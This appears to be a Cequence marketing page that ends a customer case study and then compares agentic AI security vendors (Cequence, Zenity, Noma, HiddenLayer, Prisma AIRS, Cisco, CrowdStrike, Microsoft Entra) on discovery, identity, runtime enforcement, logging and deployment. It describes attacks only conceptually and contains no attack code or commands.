When asked if he would recommend the Cequence solution to his peers, Scandrett replied, “Absolutely. Cequence is a great fit for any organization that doesn’t want to dedicate a lot of extra IT resources to deploying API protection using a mix of third-party tools. Cequence does everything we need in just one comprehensive, integrated tool.”

Final Thoughts

“At Hibbett, IT has been able to transform from being simply a cost center, to a strategic arm of the organization that is contributing to the bottom line,” concluded Morris. “We are now creating efficiencies in the processes that we couldn’t provide without the infrastructure and the systems we have in place. The Cequence Unified API Protection Platform is one of the key technologies that is enabling our IT security team to become a much larger contributor to our company’s success.”

TL;DR: Agentic AI security vendors protect agents that plan, call tools, and act on enterprise systems. Cequence is best for comprehensive agent containment, Zenity for SaaS agent governance, Noma for homegrown agents, Prisma AIRS for platform consolidation.

What Is an Agentic AI Security Solution and How Should You Evaluate One?

Evaluating agentic AI security vendors requires looking past marketing demos to assess core capabilities like data-layer controls, runtime behavior monitoring, and shadow AI discovery. Unlike conventional applications, agents may dynamically choose which APIs to call, access sensitive data, generate code, or modify external systems. This creates security risks that cannot always be addressed with fixed access controls or application security tools.

These vendors typically secure the full agent lifecycle. Their products may discover deployed agents, monitor prompts and tool calls, enforce permissions, detect prompt injection, restrict access to sensitive data, and log agent actions for investigation and compliance. Some also evaluate agents before deployment by testing how they respond to malicious inputs, excessive permissions, compromised tools, and other attack scenarios.

Key evaluation criteria

Use these five dimensions to compare vendors on the same terms:

• Agent and AI discovery: Whether the platform finds every agent, MCP server, tool, and model in the environment, including ones deployed without approval.
• Identity and least-privilege access control: Whether each agent gets its own scoped identity and permissions tied to your identity provider.
• Runtime enforcement at the tool and API layer: Whether the platform inspects and blocks individual tool calls and API calls inline, across a full session.
• Visibility, audit logging, and compliance evidence: Whether the platform attributes every action and retains it in a form auditors and incident responders can use.
• Deployment model and enterprise scale: Whether the platform fits your deployment constraints, throughput, and licensing model without rewriting agents.

Solutions covered in this guide:

Agentic AI Security Platforms

• Cequence Security: Inline agent identity, least-privilege access, tool-call enforcement, and AI discovery.
• Zenity: Agent discovery, posture management, and runtime enforcement across SaaS, cloud, and endpoints.
• Noma Security: Discovery, access control, runtime detection, and red teaming across homegrown, SaaS, and endpoint agents.
• HiddenLayer: Model, AI supply chain, runtime, and agentic security with attack simulation.

Enterprise Security Platforms with Agentic AI Coverage

• Palo Alto Networks Prisma AIRS: AI discovery, agent identity, runtime protection, red teaming, and AI gateway controls.
• Cisco AI Defense: Network-level AI guardrails, MCP security, AI discovery, and supply chain risk management.
• CrowdStrike Falcon Guardian: Endpoint-focused agent discovery, prompt-to-action tracing, runtime detection, and containment.
• Microsoft Entra Agent ID: Managed agent identities, Conditional Access, lifecycle governance, and agent registry capabilities.

In this article:

• Why Organizations Need Dedicated Security for Agentic AI
• How to Choose an Agentic AI Security Vendor
• Common Agentic AI Security Platforms and How They Meet the Criteria
• Notable Agentic AI Security Vendors

Why Organizations Need Dedicated Security for Agentic AI

Autonomous Decision-Making Expands the Attack Surface

Traditional applications generally follow predefined execution paths. AI agents can select actions dynamically based on their instructions, available context, model output, and intermediate results. The same input can therefore lead to different sequences of tool calls and system interactions.

Security teams need visibility into these decision paths rather than only the initial prompt and final response. Controls should detect unexpected actions, enforce boundaries at runtime, and prevent an agent from exceeding its intended role even when its reasoning or planning changes.

Agents Can Access Tools, APIs, and Sensitive Systems

Agents become more consequential when connected to databases, SaaS applications, internal APIs, code repositories, browsers, or infrastructure. An agent with broad credentials may be able to read confidential information, modify records, send messages, execute code, or change system configurations.

Security should apply least-privilege access to each agent and tool. It should also validate tool parameters, control credential use, restrict sensitive operations, and require additional authorization for high-impact actions. Monitoring should connect each action to the agent, user, tool, and data involved.

Prompt Injection Can Influence Multi-Step Workflows

Prompt injection occurs when malicious instructions alter how an AI system behaves. For agents, those instructions may come directly from a user or indirectly from content the agent retrieves, such as a web page, document, email, or tool response.

The risk extends beyond producing an incorrect answer. A successful injection can influence later planning and tool use, potentially causing data disclosure or unauthorized actions. Effective defenses combine input and content inspection with permission boundaries, tool-call validation, data controls, and monitoring throughout the workflow.

How to Choose an Agentic AI Security Vendor

Each criterion below covers a distinct control. Work through them in order, because discovery limits what identity can scope, identity limits what runtime enforcement has to catch, and logging determines what you can prove afterwards.

1. Agent and AI Discovery

Agents enter an enterprise from several directions at once. Engineering teams build them on cloud model platforms, business users assemble them in low-code tools, and employees connect coding assistants to MCP servers without telling security. A platform cannot protect agents it never sees, so discovery sets the ceiling for every other control in the stack. It also determines whether your inventory is a real picture of the estate or only a list of what was registered voluntarily.

Evaluation criteria:

• Does it find agents across cloud, SaaS, endpoint, and homegrown environments?
• Does it inventory MCP servers, tools, skills, and LLM providers, not just agents?
• Does it map each agent's connections, permissions, and data access paths?
• Does it surface shadow AI deployed without security approval?
• Does discovery run continuously rather than as a one-time scan?

2. Identity and Least-Privilege Access Control

An agent operating with a broad service account or an inherited user token can reach far more than its task requires. Many agent incidents involve permissions that were technically valid at every step. Controls here decide what an agent can touch before any detection is needed, so weak scoping pushes the entire burden onto runtime enforcement. Scoping should be per agent and per tool, not per platform.

Evaluation criteria:

• Does each agent get its own identity rather than sharing a human or service account?
• Does it integrate with your existing identity provider, including OAuth 2.0 or 2.1?
• Can permissions be scoped per agent, per tool, and per API?
• Does it manage token issuance, refresh, and revocation?
• Can agent access be time-bound and reviewed like any other account?

3. Runtime Enforcement at the Tool and API Layer

Prompt filtering stops some attacks, but agents cause damage through the actions they take. The meaningful control point is the call an agent makes to a tool, an MCP server, or an API. Enforcement should happen inline in that path and across a full session, because a chain of individually authorized calls can still add up to an outcome nobody approved. Detection alone is not enough if the platform cannot halt the agent.

Evaluation criteria:

• Does it inspect and block individual tool calls, not only prompts and responses?
• Does it evaluate a full session rather than one request at a time?
• Does it cover MCP traffic, direct API calls, and model routing?
• Can it halt an agent mid-execution, revoke access, or terminate a session?
• Does it detect prompt injection arriving from retrieved content, not just user input?

Related content: Read our guide to the top MCP security risks and how to prevent them

4. Visibility, Audit Logging, and Compliance Evidence

After an incident, the question is which agent did what, on whose behalf, with which tool, against which data. The same record carries the compliance load. The EU AI Act obliges deployers to monitor high-risk systems in operation, retain logs for at least six months, and report serious incidents, and auditors expect an inventory alongside them. Logs that stop at the prompt answer neither question.

Evaluation criteria:

• Is every tool call attributable to an agent, a user, and a data set?
• Do logs reconstruct the full action chain, not just fire alerts?
• Are logs retained long enough for your regulatory obligations?
• Does it export to your SIEM and existing investigation workflows?
• Does it produce inventory and policy reports auditors will accept?

5. Deployment Model and Enterprise Scale

Inline enforcement sits in the request path, which turns throughput, latency, and availability into security questions. Deployment effort matters just as much, because a control that requires rewriting agents or standing up new infrastructure tends to arrive long after the agents do. Licensing deserves the same scrutiny, since token and credit models behave differently from per-user pricing as adoption grows.

Evaluation criteria:

• Does it support SaaS, on-premises, or hybrid deployment to match data residency rules?
• Does onboarding require code changes to agents or applications?
• What latency does inline enforcement add, and is there a high-availability path?
• Are there separate pre-production and production modes?
• Is it licensed by tokens, agents, users, or traffic volume?

Common Agentic AI Security Platforms and How They Meet the Criteria

The table below summarizes how each platform measures up against the five criteria. Each one is explored in detail underneath, with a criteria-fit table of its own.

Category Solution How It Meets the Criteria Agentic AI Security Platforms Cequence Security Strongest on identity and inline enforcement at the agent-to-application path, with OAuth 2.1 integration, Agent Personas, and policy applied to every tool call. Discovery, audit trails, and SaaS or on-premises deployment are built in.  Agentic AI Security Platforms Zenity Broad discovery and posture across SaaS, cloud, and endpoint agents, with Runtime Boundaries that allow, block, or terminate an action in real time. Compliance evidence is less developed than detection and enforcement.  Agentic AI Security Platforms Noma Security Covers discovery, access control, red teaming, and runtime detection across three agent environments from one platform. Identity capability layers on the existing IdP rather than issuing agent credentials.  Agentic AI Security Platforms HiddenLayer Deep on model and supply chain security with agentless runtime defense and attack simulation. Little native identity or least-privilege scoping for agents, and deployment is reported as engineering-heavy.  Enterprise Security Platforms with Agentic AI Coverage Palo Alto Networks Prisma AIRS Covers all five criteria in one platform, including shadow AI discovery, agent identity, an AI Gateway, and posture management. Some modules are newer, and credit-based licensing complicates cost forecasting.  Enterprise Security Platforms with Agentic AI Coverage Cisco AI Defense Network-level guardrails and MCP scanning with no agents or libraries to deploy, plus standards alignment for audit. Agent identity sits in separate Cisco products, and coverage depends on Cisco network infrastructure.  Enterprise Security Platforms with Agentic AI Coverage CrowdStrike Falcon Guardian Runtime detection and containment at the point of execution, tying agent actions to endpoint telemetry. Coverage is anchored to managed endpoints, and the AI gateway capability is not yet available.  Enterprise Security Platforms with Agentic AI Coverage Microsoft Entra Agent ID Strongest on agent identity, lifecycle governance, and registry inside the Microsoft estate. Enforcement works at the identity and network layer rather than inspecting individual tool calls.

Notable Agentic AI Security Vendors

How we selected these solutions: We shortlisted agentic AI security platforms based on agent and AI discovery, agent identity and access control, runtime enforcement over tool and API calls, audit logging and compliance evidence, and enterprise deployment options.

Agentic AI Security Platforms

1. Cequence Security

Best for: Connecting agents to enterprise APIs and SaaS applications

Strengths: Agent Personas, trusted MCP registries, inline tool-call policy

Things to consider: Initial policy tuning takes time in large, complex estates

The Cequence AI Gateway sits between AI agents and the applications and data they reach. It authenticates the agent and then verifies every action the agent takes, enforcing policy inline in the request path for the duration of a session rather than at a single checkpoint.

The gateway treats an agent as a privileged insider rather than a tool. Access is bound to a written job description, and behavior is judged in context rather than on authentication alone. The product also converts existing internal, external, and SaaS APIs into MCP-compatible tools without code, which is how agents reach a catalog of more than 200 enterprise applications such as Salesforce, Jira, Slack, and Confluence.

Key features include:

• Agentic zero trust architecture: The gateway authenticates each agent and then verifies every subsequent action, applying policy inline in the request path across the full session and on each tool call.
• Agent Personas: An agent's job description, written in plain English, generates a persona carrying only the tools, APIs, skills, and permissions that job needs, with boundaries and guardrails applied automatically from that scope.
• Trusted registries and guardrails: The platform maintains registries of vetted MCP servers, APIs, LLMs, and skills. Prompt Guard screens prompts for injection, jailbreak, and system-prompt-extraction patterns, and organizations can add custom rules.
• End-to-end authentication and authorization: Integration with OAuth 2.1-compliant identity infrastructure applies organizational identity policies to agents, with built-in token lifecycle management and session binding that locks authenticated sessions to originating IP addresses.
• Monitoring and audit logging: Real-time visibility into AI-to-tool traffic records which applications agents access and which API calls they make, with tool-level and agent-level audit trails and SIEM integration.
• Sensitive data protection: DLP scanning is applied to agent requests and MCP server responses, with monitoring, redaction, and blocking across more than 100 out-of-the-box detection types, plus coverage across a sequence of calls rather than a single hook.
• AI Discovery and spend controls: The platform surfaces shadow MCP servers, agents, and LLM providers enterprise-wide from existing SIEM logs, and enforces token limits per minute, day, and month alongside monetary spend caps per team.

Criterion Solution Fit Key Considerations Agent and AI discovery AI Discovery surfaces sanctioned and shadow agents, MCP servers, and LLM providers enterprise-wide from existing SIEM logs, alongside API discovery and inventory. Discovery draws on SIEM log sources, so coverage tracks what those logs already capture.  Identity and least-privilege access control OAuth 2.1 IdP integration with token lifecycle management and RBAC. Agent Personas generate least-privilege scopes from a written job description. Personas need an accurate job description up front to scope an agent correctly.  Runtime enforcement at the tool and API layer Policy is enforced inline in the request path, for the full session, on every tool call. Prompt Guard, automated tool risk scoring, rate limits, and spend limits apply at the same point. Reviewers note that tuning detection and policy configuration takes time in large environments.  Visibility, audit logging, and compliance evidence Logs every user, agent, and tool action, with tool-level and agent-level audit trails that export to your SIEM. Cequence shares supporting documentation under NDA to help customers meet EU AI Act obligations. Confirm log retention periods and SIEM export formats match your regulatory obligations.  Deployment model and enterprise scale SaaS-based and on-premises deployment, horizontal scaling, no-code MCP enablement in minutes, continuous environment monitoring, and separate pre-prod and prod modes. Inline enforcement adds a single hop to the request path, so validate latency at peak agent traffic.

2. Zenity

Best for: Governing agents across SaaS platforms, cloud, and endpoints

Strengths: Runtime Boundaries, intent-aware AIDR, exposure validation

Things to consider: No documented sandboxed execution environment for agents

Zenity builds its platform around the moment an agent makes a decision, rather than around the prompt or the response. The architecture has three layers that operate as one system: Surface, Enforce, and Protect.

Surface builds a live inventory of agents, evaluates how each is configured, and tests which attack paths are actually exploitable. Enforce acts at the point a decision is made, allowing a safe action through or stopping an unsafe one. Protect watches what happens afterwards, reconstructing execution paths and turning each investigation into a sharper rule.

Coverage spans three agent types: agents embedded in SaaS products such as Salesforce Agentforce and Copilot Studio, homegrown agents on AWS Bedrock and Google Vertex AI, and personal or coding agents running locally.

Key features include:

• AI Observability: Builds a live inventory of agents across SaaS, custom, and endpoint deployments, and tracks the data each agent touches.
• AI Security Posture Management: Evaluates agent configuration and permissions against policy before an agent goes live, catching misconfigurations pre-deployment.
• AI Exposure Management: Validates which of an agent's attack paths are genuinely exploitable, scores each one, and produces a fix that can be applied directly in Runtime Boundaries.
• Runtime Boundaries: Evaluate every action an agent takes in real time and determine whether it proceeds, is blocked, or the agent is terminated, including for long-horizon agents running multi-step tasks over hours or days.
• Agentic Identity: Correlates enforcement with the credentials an agent actually holds, so a deactivated or over-scoped role is caught before it can be exploited.
• AI Detection and Response: Monitors execution step by step, reads a sequence of tool calls and retrievals together rather than in isolation, and maps findings to OWASP and MITRE ATLAS.
• MCP Security and DFIR: Covers MCP connections as a distinct control surface, while AI-powered forensics reconstruct the full decision chain when something gets through.

Criterion Solution Fit Key Considerations Agent and AI discovery AI Observability maintains a live inventory across SaaS, cloud, custom, and endpoint deployments, including shadow agents built on low-code platforms. Published peer review volume is limited, so coverage is best validated against your own estate in a trial.  Identity and least-privilege access control Agentic Identity correlates enforcement with each agent's actual credentials and flags deactivated or over-scoped roles. Works alongside an existing identity provider rather than issuing agent credentials itself.  Runtime enforcement at the tool and API layer Runtime Boundaries evaluate every action inline and allow, block, or shut down the agent. AIDR reads full execution chains rather than single events. No sandboxed execution environment for agents is publicly documented.  Visibility, audit logging, and compliance evidence Digital forensics reconstruct the full decision chain after an incident, and Guardian Agents convert investigations into policy. Compliance evidence automation is less developed than the detection and enforcement layers.  Deployment model and enterprise scale SaaS delivery covering SaaS agent platforms, cloud and homegrown agents, and local agents via lightweight monitoring. Available through cloud marketplaces. Coverage is broadest in Microsoft and SaaS-heavy estates; confirm depth for custom stacks.

3. Noma Security

Best for: Homegrown, SaaS, and endpoint agents from one platform

Strengths: AI-SPM, access control, red teaming, and runtime detection

Things to consider: Little independent review coverage to validate claims

Noma divides the enterprise AI estate into three environments and covers each with the same set of controls. Endpoint agents are the coding assistants and personal agents employees run on their own machines, connected to MCP servers that reach production code and internal APIs. Homegrown AI covers applications engineering teams build on AWS Bedrock, Azure AI Foundry, Databricks, LangChain, and CrewAI. SaaS agent platforms cover agents that business teams assemble in Copilot Studio, Agentforce, and ServiceNow.

Four products share intelligence across those environments. Discovery context makes access policies more precise, and a vulnerability found during red teaming becomes an enforced pattern in production.

Key features include:

• AI-SPM: Discovers every agent, MCP server, skill, and model across the three environments, then surfaces misconfigurations and combinations of agent capabilities that are risky together.
• Agent risk map: Shows each agent's blast radius, covering its connections, permissions, and data access paths, so cascading risk scenarios are visible before deployment.
• Access control: Policies govern which MCP servers, skills, and tools an agent may use, keyed to IdP groups or applied organization-wide by tool sensitivity, with a live registry of what is approved and blocking for everything else.
• AI-DR: Detects prompt injection, data exfiltration, scope violations, and agents drifting from their intent, evaluating each action against the session around it, the identity behind the agent, and behavior over time.
• Graduated response: Based on policy, runtime detection alerts, blocks, masks data, or routes an action to a human rather than applying a single response to every finding.
• AI red teaming: Compounds attack techniques into multi-turn campaigns that escalate at each turn, with prebuilt scan profiles and compliance presets, and findings feed directly into AI-DR runtime policies.
• Compliance and supply chain coverage: Produces inventory, framework mappings, test results, and audit trails, and scans models, MCP servers, tools, and packages across the AI supply chain.

Criterion Solution Fit Key Considerations Agent and AI discovery AI-SPM discovers every agent, MCP server, skill, and model across endpoint, SaaS, and homegrown environments, with an agent risk map of connections and data access. Discovery routinely surfaces far more assets than teams expect, which requires triage capacity at rollout.  Identity and least-privilege access control Access control policies are keyed to IdP groups or applied by tool sensitivity, and agentic identity use cases tie actions to the identity behind the agent. Layers on the existing identity provider rather than issuing scoped agent credentials itself.  Runtime enforcement at the tool and API layer Access control blocks unapproved MCP servers, skills, and tools. AI-DR evaluates each action in session context and can alert, block, mask data, or escalate. Enforcement depth varies by environment, so test in the one where your agents actually run.  Visibility, audit logging, and compliance evidence Compliance and reporting cover inventory, framework mappings, red team results, and audit trails from a single control plane. Independent review coverage is sparse, so reference calls carry more weight than published ratings.  Deployment model and enterprise scale One platform spanning three environments, with SaaS or self-hosted options and policies applied organization-wide or per group. Breadth across three environments can mean less depth than a specialist in any single one.

4. HiddenLayer

Best for: Model-level and AI supply chain security across the lifecycle

Strengths: Agentless runtime defense, attack simulation, model scanning

Things to consider: Deployment reported to need ML and infrastructure engineers

The HiddenLayer AISec Platform covers four modules across the AI lifecycle: AI Discovery, AI Supply Chain Security, AI Runtime Security, and AI Attack Simulation. Its origin is model security, and the platform still works closest to the model, validating integrity before deployment and detecting attacks against models in production.

Agentic coverage sits on top of that foundation. Agentic and MCP security protects autonomous agents from prompt injection, unsafe tool use, and harmful autonomous actions, and Agent Harness Security adds runtime visibility and inline enforcement for AI coding agents.

The platform is model-agnostic and agentless, and it operates without access to model weights, prompts, training data, or customer data. Native connectors cover cloud platforms, CI/CD, data platforms, SIEM and SOAR, API gateways, and MLOps tooling.

Key features include:

• AI Discovery: Builds a living inventory of AI across the environment, including shadow AI, showing where models are used, by whom, and with what level of access.
• AI Supply Chain Security: Scans models for malware, vulnerabilities, backdoors, and unknown components before they reach production, validating integrity and supply chain provenance.
• AI Runtime Security: Detects and responds to attacks in production without requiring access to intellectual property, weights, prompts, or customer data.
• AI Attack Simulation: Runs adversarial simulations continuously against AI systems rather than as a periodic exercise, uncovering weaknesses as the systems change.
• AI Guardrails: Enforce policies that prevent prompt injection, data leakage, and unsafe AI behavior in real time across applications, models, and business units.
• Agentic and MCP security: Protects autonomous and tool-using systems from misuse, privilege escalation, and cross-system exploitation, with Agent Harness Security covering AI coding agents specifically.
• Governance and posture: Provides organization-wide visibility into every model, applies consistent governance rules, classifies risk, and monitors posture against security and regulatory standards.

Criterion Solution Fit Key Considerations Agent and AI discovery AI Discovery builds a living inventory of AI assets across environments, including shadow AI, with visibility into how and where models are used. Inventory centers on models and AI assets more than the agent-to-application call path.  Identity and least-privilege access control Runtime controls prevent unauthorized tool usage, but agent identity issuance and permission scoping are not part of the platform. Requires a separate identity layer for agent credentials and least-privilege scoping.  Runtime enforcement at the tool and API layer AI Runtime Security detects and responds in production. Agentic and MCP security covers prompt injection, unsafe tool use, and harmful autonomous actions, with inline enforcement for coding agents. Reviewers report the integration is hard to deploy and demanding to maintain.  Visibility, audit logging, and compliance evidence Governance and posture features give organization-wide visibility, risk classification, and policy monitoring, with native SIEM and SOAR connectors. Peer review volume is low, so compliance reporting is best validated during a trial.  Deployment model and enterprise scale Model-agnostic and agentless, deployable across any architecture without exposing weights, prompts, or customer data. SaaS, on-premises, air-gapped, and hybrid are supported. Reviewers describe deployment as requiring a sizeable ML and infrastructure engineering effort.

Source: HiddenLayer

Enterprise Security Platforms with Agentic AI Coverage

5. Palo Alto Networks Prisma AIRS

Best for: Consolidating AI security inside a Palo Alto Networks estate

Strengths: Discovery, posture, red teaming, runtime, and AI Gateway

Things to consider: Some modules are early stage; credit-based licensing

Prisma AIRS organizes AI security into three stages: discover shadow AI, assess new risks, and protect against threats at runtime. The platform covers AI agents, applications, models, and data from development through deployment, and its modules can be adopted individually or together.

Agent coverage runs through two components. Agent Security verifies each agent identity and enforces real-time controls to stop unauthorized actions as deployments move from pilot to production. The AI Gateway acts as a control plane for enterprise AI activity, governing and securing how applications and agents reach models and services.

Deployment modes include Network Intercept and API Intercept, and a managed AI Runtime Security option removes the setup work for containers, applications, and cloud infrastructure.

Key features include:

• Agent Security: Verifies every agent identity and enforces real-time controls over agent actions, with defenses against prompt injection, tool misuse, and memory manipulation.
• AI Gateway: Serves as the enterprise AI control plane, discovering, governing, and securing AI activity across applications, agents, models, and services.
• AI Runtime Security: Monitors AI behavior during live interactions and enforces safeguards against manipulation, data exposure, and unsafe actions, with a managed option available.
• AI Red Teaming: Simulates real-world attacks continuously against AI agents and applications, including multi-turn attacks, multi-agent systems, and agentic target profiling.
• AI Model Security: Scans third-party models for tampering, malicious scripts, and deserialization attacks before they are adopted.
• AI Posture Management: Covers the data used for training and inference, the integrity of agents and applications, and access to deployed models.
• Discovery and reporting: Provides visibility into every AI agent, app, and model and how they connect, including endpoint and browser-based agents, plus API violation views and threat snippets in reporting.

Criterion Solution Fit Key Considerations Agent and AI discovery Discovers shadow AI and inventories every AI agent, app, and model, mapping how they connect across cloud, SaaS, endpoint, and browser environments. Deepest value comes when other Palo Alto Networks products are already in place.  Identity and least-privilege access control Agent Security verifies each agent identity and enforces real-time controls to stop unauthorized actions at production scale. Agent identity governance is newer than the model and runtime modules.  Runtime enforcement at the tool and API layer AI Runtime Security enforces safeguards during live interactions, and the AI Gateway governs agent access to models and services. Network Intercept and API Intercept are both supported. Reviewers describe some features as early stage, with a learning curve to use them well.  Visibility, audit logging, and compliance evidence AI Posture Management covers data, agent and app integrity, and model access, with API violation views and threat snippets in reporting. Reviewers report alerts and reports need extra tuning to fit a specific environment.  Deployment model and enterprise scale Managed AI Runtime Security reduces deployment friction, and the platform secures containers, multicloud environments, and high-throughput systems. Credit and token-based licensing makes cost forecasting harder at variable volumes.

Source: Palo Alto Networks

6. Cisco AI Defense

Best for: Network-level AI enforcement in Cisco-run environments

Strengths: Agentless guardrails, MCP scanning, Talos threat intelligence

Things to consider: Documentation reported as hard to navigate

Cisco AI Defense covers two paths: organizations using third-party AI applications, and organizations developing their own AI applications and agents. Both run through the same discover, detect, and protect sequence.

The distinguishing choice is where enforcement lives. Cisco applies AI security at the network level, without agents or libraries in the application, which separates AI development from the security controls around it. That same network position provides visibility into AI traffic across distributed environments.

Agentic coverage extends to the Model Context Protocol. The platform scans MCP servers for compromised or malicious assets, enforces runtime protections across MCP requests and responses, and detects agent-specific threats including memory poisoning, tool misuse, privilege escalation, intent hijacking, and deceptive agent behavior.

Key features include:

• AI Runtime Protection: Embeds guardrails in the network to block adversarial attacks and harmful responses in real time, covering prompt injection, model denial of service, code detection, and off-topic attacks.
• AI Model and Application Validation: Uses algorithmic red teaming to identify safety and security vulnerabilities across models at scale, with results returned in seconds.
• AI Cloud Visibility: Inventories AI models and connected data sources across distributed environments to show usage and gauge risk.
• AI Access: Surfaces third-party AI applications in use across the organization and enforces policies that manage employee access and limit sensitive data exposure.
• AI Supply Chain Risk Management: Identifies malicious code, poisoned data, unsafe tools, compromised components, and high-risk MCP assets using Cisco threat intelligence and proprietary scanning.
• Standards alignment: A single integration maps to NIST, MITRE ATLAS, and the OWASP LLM Top 10, with a published AI safety and security taxonomy.
• Threat intelligence and Explorer Edition: Detections are informed by Cisco's AI research lab and Talos, and a self-service Explorer Edition provides red teaming for agentic workflows and model testing.

Criterion Solution Fit Key Considerations Agent and AI discovery AI Cloud Visibility inventories AI workloads, applications, models, data, and users across distributed cloud environments. AI Access surfaces third-party AI applications in use. Discovery relies on network-level visibility, so activity outside Cisco's path is harder to see.  Identity and least-privilege access control AI Access monitors and manages access to third-party AI applications and enforces policies on that access. Agent identity itself is handled by Duo and Cisco Identity Intelligence rather than by AI Defense.  Runtime enforcement at the tool and API layer Guardrails embedded in the network block adversarial attacks in real time. MCP requests and responses are protected, and agent threats such as memory poisoning, tool misuse, and privilege escalation are detected. Reviewers report the features are powerful but hard to understand how to use correctly.  Visibility, audit logging, and compliance evidence A single management plane covers all AI, with Cisco Security Cloud integration and alignment to NIST, MITRE ATLAS, and the OWASP LLM Top 10. Reviewers describe documentation as difficult to navigate.  Deployment model and enterprise scale Enforcement runs at the network level with no agents or libraries to install, integrating with Cisco Security Cloud and Splunk data. Value depends on already running Cisco network and security infrastructure.

Source: Cisco

7. CrowdStrike Falcon Guardian

Best for: Securing endpoint and computer-use agents at execution

Strengths: Shadow AI discovery tied to existing Falcon endpoint telemetry

Things to consider: AI gateway capability announced but not yet available

Falcon Guardian applies AI detection and response at the point where agents execute. The argument behind it is that computer-use agents reach identities, data, files, browsers, shells, and system settings while acting with user permissions, so behavior at the endpoint is indistinguishable from legitimate user activity unless the AI context is attached to it.

The product connects agent activity to endpoint telemetry, tracing how a user prompt leads to downstream processes and system actions. It runs on the same Falcon sensor that CrowdStrike already deploys for endpoint protection, so no separate agent is required where Falcon is in place.

Coverage extends beyond endpoints to cloud and SaaS environments, and includes both workforce use of AI tools and homegrown agents and workloads.

Key features include:

• Shadow AI discovery: Identifies workforce AI use and endpoint agents, showing what is in use, who is using it, token consumption, and where unmanaged risk exists.
• Prompt-to-action tracing: Connects agent activity with endpoint telemetry to establish how a prompt led to specific processes and system actions.
• AI usage and access governance: Turns governance policy into enforceable controls over how users interact with AI tools and which AI agents are permitted to run.
• Prompt injection detection: Inspects AI interactions at runtime for direct and indirect prompt injection spanning more than 200 techniques, blocking malicious interactions before they manipulate an agent.
• Sensitive data controls: Identifies sensitive data in AI interactions and applies runtime controls to redact, encrypt, or block it before exposure.
• Runtime containment: Detects compromised agents, reconstructs what happened, determines blast radius across affected agents and systems, and deploys containment actions.
• SIEM integration: AI telemetry is brought together with endpoint, identity, cloud, SaaS, and third-party data in Falcon Next-Gen SIEM for unified detection and investigation.

Criterion Solution Fit Key Considerations Agent and AI discovery Discovers shadow AI agents on endpoints and across cloud and SaaS, showing what is running, who uses it, and token consumption. Coverage is anchored to managed endpoints, so unmanaged hosts fall outside scope.  Identity and least-privilege access control Governs how users interact with AI tools and defines which AI agents are permitted to run. Governs permission to run rather than issuing scoped identities and per-tool permissions.  Runtime enforcement at the tool and API layer Inspects AI interactions for direct and indirect prompt injection across more than 200 techniques, and deploys containment actions at the point of execution. Published detection and latency figures come from internal benchmarks, so test with your own traffic.  Visibility, audit logging, and compliance evidence Traces prompts to downstream processes and system actions, reconstructs incidents, and determines blast radius, with native ingestion into Falcon Next-Gen SIEM. Investigation workflows assume Falcon is already the telemetry backbone.  Deployment model and enterprise scale Runs on the existing Falcon sensor, so no separate agent is needed where Falcon is already deployed. The AI gateway capability is announced but not yet available.

Source: CrowdStrike

8. Microsoft Entra Agent ID

Best for: Giving agents managed identities inside the Microsoft estate

Strengths: Conditional Access, lifecycle governance, agent registry

Things to consider: Capabilities gated behind specific licensing tiers

Microsoft Entra Agent ID extends existing identity and access management to AI agents, treating each agent as a first-class identity that can be authenticated, governed, and protected in the same way as an employee account.

The controls are the ones Microsoft-centric security teams already run. Conditional Access evaluates each access attempt, identity governance automates the lifecycle from deployment to expiry, identity protection flags suspicious activity, and network controls log and restrict what agents can reach.

Agent ID capabilities are delivered through Microsoft Agent 365, the control plane for agents. Agent 365 maintains a unified registry covering agents from Microsoft AI platforms, partner agents registered through its SDK, and self-registered agents from platforms it does not manage.

Key features include:

• Agent identities at scale: Every agent receives a built-in identity that enables authentication, policy enforcement, and integration with existing organizational policies.
• Conditional Access for agents: Real-time policies evaluate agent access to resources, block risky agents, and apply granular access controls based on configured security attributes.
• Identity governance: Automates governance from deployment to expiration, assigns and maintains sponsors, and enforces access assignments that are intentional, auditable, and time-bound.
• Identity protection: Detects and flags unusual or unauthorized agent activity, traces agents with compromised tokens, and supports remediation of compromised agents.
• Network controls: Log agent network activity for audits and threat detection, apply web categorization to APIs and MCP servers, restrict file uploads and downloads, and automatically block malicious destinations.
• Unified agent registry: Agent 365 maintains an inventory of the agent fleet with usage insights and visual mapping of agent activity and connections.
• Integrated security stack: Access control and identity protection come from Entra, security posture and threat protection from Defender, and data security and compliance from Purview.

Criterion Solution Fit Key Considerations Agent and AI discovery Agent 365 provides a unified registry covering Microsoft AI platform agents, partner agents via SDK, and self-registered agents, with usage insights and activity mapping. Agents created before Entra agent registration existed cannot be assigned an Agent ID retroactively.  Identity and least-privilege access control Each agent gets a first-class identity with Conditional Access, lifecycle governance, assigned sponsors, and time-bound access assignments. Several controls require specific Microsoft 365 licensing tiers before they take effect.  Runtime enforcement at the tool and API layer Identity Protection flags unusual agent activity and compromised tokens. Network controls apply web categorization to APIs and MCP servers and block malicious destinations. Enforcement sits at the identity and network layer rather than inspecting individual tool calls.  Visibility, audit logging, and compliance evidence Logs agent network activity for audits and threat detection, with Purview covering data security and compliance for agents. Evidence gathering is strongest for agents inside the Microsoft estate.  Deployment model and enterprise scale Foundational capabilities come with Microsoft Cloud subscriptions; premium capabilities require an Agent 365 license or Microsoft 365 E7. Third-party agents that do not integrate the Agent 365 SDK remain unmanaged.

Source: Microsoft

Conclusion

Agentic AI security requires controls that follow agents from discovery and identity through runtime execution and audit. Organizations should evaluate whether a platform can find shadow agents and connected tools, assign or enforce least-privilege access, inspect consequential actions at runtime, and reconstruct activity for investigations and compliance. Deployment architecture also matters because inline controls must provide adequate performance and coverage without creating excessive integration work as agent adoption grows.

TL;DR: Agentic AI security tools control what AI agents do at runtime, which tools they call, and what data they reach. Cequence AI Gateway is best for governing agent access to apps and APIs, Zenity for multi-platform agent governance, Prisma AIRS for Palo Alto environments, and Lakera for real-time prompt and data guardrails.

What Are Agentic AI Security Tools?

Securing autonomous AI agents requires inline agentic AI security controls and runtime monitoring to manage permissions, block goal hijacking, and prevent data leaks. Traditional security assumes human users, but AI agents move at machine speed and use valid credentials.

Unlike traditional LLM applications that mainly generate content, agents can interact with APIs, databases, browsers, code execution environments, and other systems. This creates security risks beyond prompt and model behavior. Protecting them requires a focus on two main areas:

Runtime behavior and tool use:

• Detect unexpected or malicious agent behavior by monitoring execution traces for suspicious actions and policy violations.
• Restrict which tools agents can use based on identity, role, task, environment, and authorization context.
• Validate tool calls before execution to block unauthorized operations, suspicious arguments, and high-risk requests.
• Control tool parameters and allowed actions by limiting functions, resources, parameter values, destinations, and data scopes.
